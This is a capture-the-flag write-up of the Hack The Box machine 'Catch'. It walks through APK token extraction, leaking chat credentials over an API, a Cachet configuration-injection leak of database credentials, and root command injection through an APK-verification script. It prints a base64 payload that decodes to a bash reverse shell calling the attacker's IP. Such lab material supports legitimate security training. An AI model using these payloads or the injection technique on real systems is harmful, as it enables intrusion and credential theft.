Post

HTB - Catch

Quick summary

Catch is a well made medium box that starts with static analysis of an APK before moving into abusing an API with the leaked contents of the apk. Then we can leak some credidentials to log into a cachet application on port 8000 which we can use to leak the user credentials for SSH.

Once we have user the privilege escalation is straight foward and creative. To obtain root we need to exploit a custom shell script to get remote code execution as root and spawn a reverse shell.

Overally I really enjoyed this box, and I learned alot about static APK analysis as well as compiling APKs with apktool.

Nmap

As always we start with our simple nmap scans to get an idea of what we are looking for.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
Nmap scan report for 10.10.11.150
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=924f0ee4471bf257; Path=/; HttpOnly
|     Set-Cookie: _csrf=uc2lL1MVriLL6DxqUql9_LP-DZ06MTY0ODc2ODQ5NDc5NDgyNzMxNQ; Path=/; Expires=Fri, 01 Apr 2022 23:14:54 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 31 Mar 2022 23:14:54 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=c916a6955f5befd6; Path=/; HttpOnly
|     Set-Cookie: _csrf=1IsQHNHpmGZvFDqQlsiD1-FyhzU6MTY0ODc2ODUwMDk0MTM2NjA1Ng; Path=/; Expires=Fri, 01 Apr 2022 23:15:00 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 31 Mar 2022 23:15:00 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3AbVLc12lentnVBDFBSJ3q-LHrBpDa1Yjq.j1Ag%2BU7KvAbowL%2FxJio%2FZ6Qbi8xW8I73AX%2F3JNGNPns; Path=/; HttpOnly
|     Date: Thu, 31 Mar 2022 23:14:59 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3A-nvC8hphq3jzWrlgo5qTYBLF7U0CDT9c.fHmM7yMkkWO161RxlChWaP9tPLGpzAMFxWsGLcWCzw8; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Thu, 31 Mar 2022 23:15:01 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.92%I=7%D=3/31%Time=624635ED%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1A7E,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20i_like_gitea=924f0ee44
SF:71bf257;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=uc2lL1MVriLL6Dx
SF:qUql9_LP-DZ06MTY0ODc2ODQ5NDc5NDgyNzMxNQ;\x20Path=/;\x20Expires=Fri,\x20
SF:01\x20Apr\x202022\x2023:14:54\x20GMT;\x20HttpOnly;\x20SameSite=Lax\r\nS
SF:et-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\x20HttpOnly\r\nX
SF:-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Thu,\x2031\x20Mar\x202022\x20
SF:23:14:54\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20c
SF:lass=\"theme-\">\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-
SF:8\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20
SF:initial-scale=1\">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20conten
SF:t=\"ie=edge\">\n\t<title>\x20Catch\x20Repositories\x20</title>\n\t<link
SF:\x20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjo
SF:iQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcy
SF:IsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W
SF:3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz")%r(Help,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,17F
SF:,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nSet-Cookie:\x20i_like
SF:_gitea=c916a6955f5befd6;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf
SF:=1IsQHNHpmGZvFDqQlsiD1-FyhzU6MTY0ODc2ODUwMDk0MTM2NjA1Ng;\x20Path=/;\x20
SF:Expires=Fri,\x2001\x20Apr\x202022\x2023:15:00\x20GMT;\x20HttpOnly;\x20S
SF:ameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\
SF:x20HttpOnly\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Thu,\x2031\x2
SF:0Mar\x202022\x2023:15:00\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTS
SF:PRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.92%I=7%D=3/31%Time=624635F3%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,242,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x20SAMEORIG
SF:IN\r\nX-Download-Options:\x20noopen\r\nX-Content-Type-Options:\x20nosni
SF:ff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nContent-Security-Policy:
SF:\x20\r\nX-Content-Security-Policy:\x20\r\nX-WebKit-CSP:\x20\r\nX-UA-Com
SF:patible:\x20IE=Edge,chrome=1\r\nLocation:\x20/login\r\nVary:\x20Accept,
SF:\x20Accept-Encoding\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nContent-Length:\x2028\r\nSet-Cookie:\x20connect\.sid=s%3AbVLc12lentnVB
SF:DFBSJ3q-LHrBpDa1Yjq\.j1Ag%2BU7KvAbowL%2FxJio%2FZ6Qbi8xW8I73AX%2F3JNGNPn
SF:s;\x20Path=/;\x20HttpOnly\r\nDate:\x20Thu,\x2031\x20Mar\x202022\x2023:1
SF:4:59\x20GMT\r\nConnection:\x20close\r\n\r\nFound\.\x20Redirecting\x20to
SF:\x20/login")%r(RTSPRequest,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
SF:nnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(
SF:ZendJavaBridge,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(HTTPOptions,241,"HTTP/1\.1\x20200\x20OK\r\nX-Frame-O
SF:ptions:\x20SAMEORIGIN\r\nX-Download-Options:\x20noopen\r\nX-Content-Typ
SF:e-Options:\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nConte
SF:nt-Security-Policy:\x20\r\nX-Content-Security-Policy:\x20\r\nX-WebKit-C
SF:SP:\x20\r\nX-UA-Compatible:\x20IE=Edge,chrome=1\r\nAllow:\x20GET,HEAD\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x208\
SF:r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg\"\r\nSet-Cookie:\x20conne
SF:ct\.sid=s%3A-nvC8hphq3jzWrlgo5qTYBLF7U0CDT9c\.fHmM7yMkkWO161RxlChWaP9tP
SF:LGpzAMFxWsGLcWCzw8;\x20Path=/;\x20HttpOnly\r\nVary:\x20Accept-Encoding\
SF:r\nDate:\x20Thu,\x2031\x20Mar\x202022\x2023:15:01\x20GMT\r\nConnection:
SF:\x20close\r\n\r\nGET,HEAD")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP
SF:/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see 5 ports open here:

1
2
3
4
5
22 - ssh
80 - http
3000 - ppp? (unknown)
5000 - upnp> (unknown)
8000 - http

Web Enumeration

To make our lives easier we can add the ip (10.10.11.150) of the box to our /etc/hosts file so we can navigate to the page via http://catch.htb.

going to the webserver on port 80 we can see that there is not much here, and using gobuster on this page returns nothing of use.

On this page we have a login button and a download button. The login button does nothing, but the dowload button allows us to download an apk file.

Loading this into anbox and trying run the application yeilded nothing useful aside from mentioning that there is a status.catch.htb subdomain which is no different from catch.htb.

APK Analysis

Now we can look into static analysis because dynamic analysis appears to be unavailable.

Using MobSF we can analyze the apk to find some more information about the apk.

We end up finding 3 different tokens for different web services including Gitea, Let's Chat, and Slack.

Now that we have these tokens we can start tot look for places to use them.

Finding More Web Pages

Since we don’t have anywhere to use our keys at the moment we need to head back to our NMAP scan to see what else we can look at. Looking back we see that we have ports 3000, 5000, and 8000 to look into.

Starting with 8000 because it is labeled as http in the scan we get a page that looks like some type of incedent reporting board for the server.

At the bottom we see a login button. however this web page doesn’t seem to be connected in any way to the tokens that were hardcoded in the APK. We can bookmark this location and come back to it later.

Looking at script outputs for ports 3000 and 5000 we can see that there is also information that hints at these also being web pages. This is proven to be true when we navigate to those ports in the browser.

Port 3000 appears to be the Gitea server that is linked to the gitea-token from the APK file. However, this page will prove to be a rabbit hole that you can’t do anything with.

The Let’s Chat instance shows to be running on port 5000 and prompts the user to login.

Leaking Data With API-Token

So now we have an API-Token and a website to use it on, however I do not know how to use this API-Token. We can do a little looking and see that Let’s Chat is open source and even has documentation on Github that mentions how to use the API-Token. https://github.com/sdelements/lets-chat/wiki/API

Using the information in the wiki we can start to leak the information from the application.

Users

curl -s -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' -H 'Content-type: application/json' catch.htb:5000/users | jq .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

[
  {
    "id": "61b86aead984e2451036eb16",
    "firstName": "Administrator",
    "lastName": "NA",
    "username": "admin",
    "displayName": "Admin",
    "avatar": "e2b5310ec47bba317c5f1b5889e96f04",
    "openRooms": [
      "61b86b28d984e2451036eb17",
      "61b86b3fd984e2451036eb18",
      "61b8708efe190b466d476bfb"
    ]
  },
  {
    "id": "61b86dbdfe190b466d476bf0",
    "firstName": "John",
    "lastName": "Smith",
    "username": "john",
    "displayName": "John",
    "avatar": "f5504305b704452bba9c94e228f271c4",
    "openRooms": [
      "61b86b3fd984e2451036eb18",
      "61b86b28d984e2451036eb17"
    ]
  },
  {
    "id": "61b86e40fe190b466d476bf2",
    "firstName": "Will",
    "lastName": "Robinson",
    "username": "will",
    "displayName": "Will",
    "avatar": "7c6143461e935a67981cc292e53c58fc",
    "openRooms": [
      "61b86b3fd984e2451036eb18",
      "61b86b28d984e2451036eb17"
    ]
  },
  {
    "id": "61b86f15fe190b466d476bf5",
    "firstName": "Lucas",
    "lastName": "NA",
    "username": "lucas",
    "displayName": "Lucas",
    "avatar": "b36396794553376673623dc0f6dec9bb",
    "openRooms": [
      "61b86b28d984e2451036eb17",
      "61b86b3fd984e2451036eb18"
    ]
  }
]

Rooms

curl -s -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' -H 'Content-type: application/json' catch.htb:5000/rooms | jq .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[
  {
    "id": "61b86b28d984e2451036eb17",
    "slug": "status",
    "name": "Status",
    "description": "Cachet Updates and Maintenance",
    "lastActive": "2021-12-14T10:34:20.749Z",
    "created": "2021-12-14T10:00:08.384Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  },
  {
    "id": "61b8708efe190b466d476bfb",
    "slug": "android_dev",
    "name": "Android Development",
    "description": "Android App Updates, Issues & More",
    "lastActive": "2021-12-14T10:24:21.145Z",
    "created": "2021-12-14T10:23:10.474Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  },
  {
    "id": "61b86b3fd984e2451036eb18",
    "slug": "employees",
    "name": "Employees",
    "description": "New Joinees, Org updates",
    "lastActive": "2021-12-14T10:18:04.710Z",
    "created": "2021-12-14T10:00:31.043Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  }
]

Status (Updates/Maintenance) Channel

curl -s -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' -H 'Content-type: application/json' catch.htb:5000/rooms/61b86b28d984e2451036eb17/messages | jq .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
[
  {
    "id": "61b8732cfe190b466d476c02",
    "text": "ah sure!",
    "posted": "2021-12-14T10:34:20.749Z",
    "owner": "61b86dbdfe190b466d476bf0",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b8731ffe190b466d476c01",
    "text": "You should actually include this task to your list as well as a part of quarterly audit",
    "posted": "2021-12-14T10:34:07.449Z",
    "owner": "61b86aead984e2451036eb16",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b872b9fe190b466d476c00",
    "text": "Also make sure we've our systems, applications and databases up-to-date.",
    "posted": "2021-12-14T10:32:25.514Z",
    "owner": "61b86dbdfe190b466d476bf0",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b87282fe190b466d476bff",
    "text": "Excellent! ",
    "posted": "2021-12-14T10:31:30.403Z",
    "owner": "61b86aead984e2451036eb16",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b87277fe190b466d476bfe",
    "text": "Why not. We've this in our todo list for next quarter",
    "posted": "2021-12-14T10:31:19.094Z",
    "owner": "61b86dbdfe190b466d476bf0",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b87241fe190b466d476bfd",
    "text": "@john is it possible to add SSL to our status domain to make sure everything is secure ? ",
    "posted": "2021-12-14T10:30:25.108Z",
    "owner": "61b86aead984e2451036eb16",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b8702dfe190b466d476bfa",
    "text": "Here are the credentials `john :  E}V!mywu_69T4C}W`",
    "posted": "2021-12-14T10:21:33.859Z",
    "owner": "61b86f15fe190b466d476bf5",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b87010fe190b466d476bf9",
    "text": "Sure one sec.",
    "posted": "2021-12-14T10:21:04.635Z",
    "owner": "61b86f15fe190b466d476bf5",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b86fb1fe190b466d476bf8",
    "text": "Can you create an account for me ? ",
    "posted": "2021-12-14T10:19:29.677Z",
    "owner": "61b86dbdfe190b466d476bf0",
    "room": "61b86b28d984e2451036eb17"
  },
  {
    "id": "61b86f4dfe190b466d476bf6",
    "text": "Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ",
    "posted": "2021-12-14T10:17:49.761Z",
    "owner": "61b86f15fe190b466d476bf5",
    "room": "61b86b28d984e2451036eb17"
  }
]

From the time stamps on the messages we can see that the messages are in revserse order from what they should be, but that doesn’t matter to much.

Getting User

From the messages we leaked we can see that a user john was generated a password by the admin for status.catch.htb. Now we can remember from before that status.catch.htb does not exist, however, the web page hosted on port 8000 did mention status and also had a login page, so we should look there first.

Now we can see that the application is running using Cachet and may have potential vulnerabilities. Looking at the Setting page we can see that the version the application is running as in the Settings tab, and is running 2.4.0-dev. Looking into this version we find three different vulnerabilities.

blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection

The most simple vulnerability in the article is a configuration leak in the Mail From Address field of the Mail tab in settings.

We can exploit this by including varible names from the .env file into the vulnerable field with the correct syntax. ie: ${DB_USERNAME}.

Inputing ${DB_USERNAME}, saving, and refreshing the page will leak the user name will. Inputing ${DB_PASSWORD} and using the same process will leak the password for the user will and now we can SSH into the box as will and get the user flag.

Privilege Escalation

Now that we have user access we can run LinPEAS to look for potential vulnerabilties.

1
2
3
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--x+ 1 root root 1894 Mar  3 14:23 /opt/mdm/verify.sh
-rw-r----- 1 root will 33 Apr 10 05:07 /home/will/user.txt

From the output we find a shell script in /opt/mdm what is used for verifying apk files. Using pspy I saw that root was running this script every few minutes to test the contents of /opt/mdm/apk_bin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
	jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
	if [[ $? -eq 0 ]]; then
		echo '[+] Signature Check Passed'
	else
		echo '[!] Signature Check Failed. Invalid Certificate.'
		cleanup
		exit
	fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
	apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
	COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
	if [ -z "$COMPILE_SDK_VER" ]; then
		echo '[!] Failed to find target SDK version.'
		cleanup
		exit
	else
		if [ $COMPILE_SDK_VER -lt 18 ]; then
			echo "[!] APK Doesn't meet the requirements"
			cleanup
			exit
		fi
	fi
}

####################
# Basic App Checks #
####################

app_check() {
	APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
	echo $APP_NAME
	if [[ $APP_NAME == *"Catch"* ]]; then
		echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
		mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
	else
		echo "[!] App doesn't belong to Catch Global"
		cleanup
		exit
	fi
}


###########
# Cleanup #
###########

cleanup() {
	rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
	OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
	APK_NAME="$(openssl rand -hex 12).apk"
	if [[ -L "$IN_APK_NAME" ]]; then
		exit
	else
		mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
	fi
	sig_check $IN_FOLDER $APK_NAME
	comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
	app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

The script has four different functions that performs different checks on an APK file.

Script process:

  1. Start a for loop that will loop through each apk file in /opt/mdm/apk_bin.
  2. Set both the out file name for the verified apk and a random apk name.
  3. Verify that the apk is not a symlink and move the apk into /root/mdm/apk_bin.
  4. Call sig_check which will check for a valid signature.
  5. Call comp_check which will check for the correct SDK versions.
  6. Call app_check which will check if the name contains catch in the app_name variable in the strings.xml file.

the vulnerability for this script is located in the app_check function where the APP_NAME variable is used to make a new directory in the fourth line of the function.

1
2
3
4
5
6
7
8
9
10
11
12
app_check() {
	APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
	echo $APP_NAME
	if [[ $APP_NAME == *"Catch"* ]]; then
		echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' # vuln in mkdir {}
		mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
	else
		echo "[!] App doesn't belong to Catch Global"
		cleanup
		exit
	fi
}

When sh -c is used to invoke mkdir the input is being passed in from xargs without checking for malicous input meaning that we can inject commands into the APP_NAME variable to get RCE as root. However, to get there we first need to pass the two checks before it. This means when we modify the apk we need to make sure that the file is resigned and that the SDK version doesnt change.

To modify the value of app_name we need to unpack the APK using apktool.

1
java -jar apktool_2.6.1.jar d catchv1.0.apk

Now we can edit the res/values/strings.xml file to put our payload in the app_name string. After some time tinkering I found a valid payload that worked as intended.

1
2
3
<string name="app_name">
  Catch;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0NDQgMD4mMQo= | base64 -d | bash;
</string>

The base64 payload decodes to bash -i >& /dev/tcp/10.10.16.2/4444 0>&1.

Now that we have a payload we need to rebuild and resign the APK file. To build we simply use apk tool again.

1
java -jar apktool_2.6.1.jar b <APK directory>

After we build on our localhost we can scp or wget our APK to the /opt/mdm/apk_bin folder and set up our port listener with netcat and wait for a root shell.

This post is licensed under CC BY 4.0 by the author.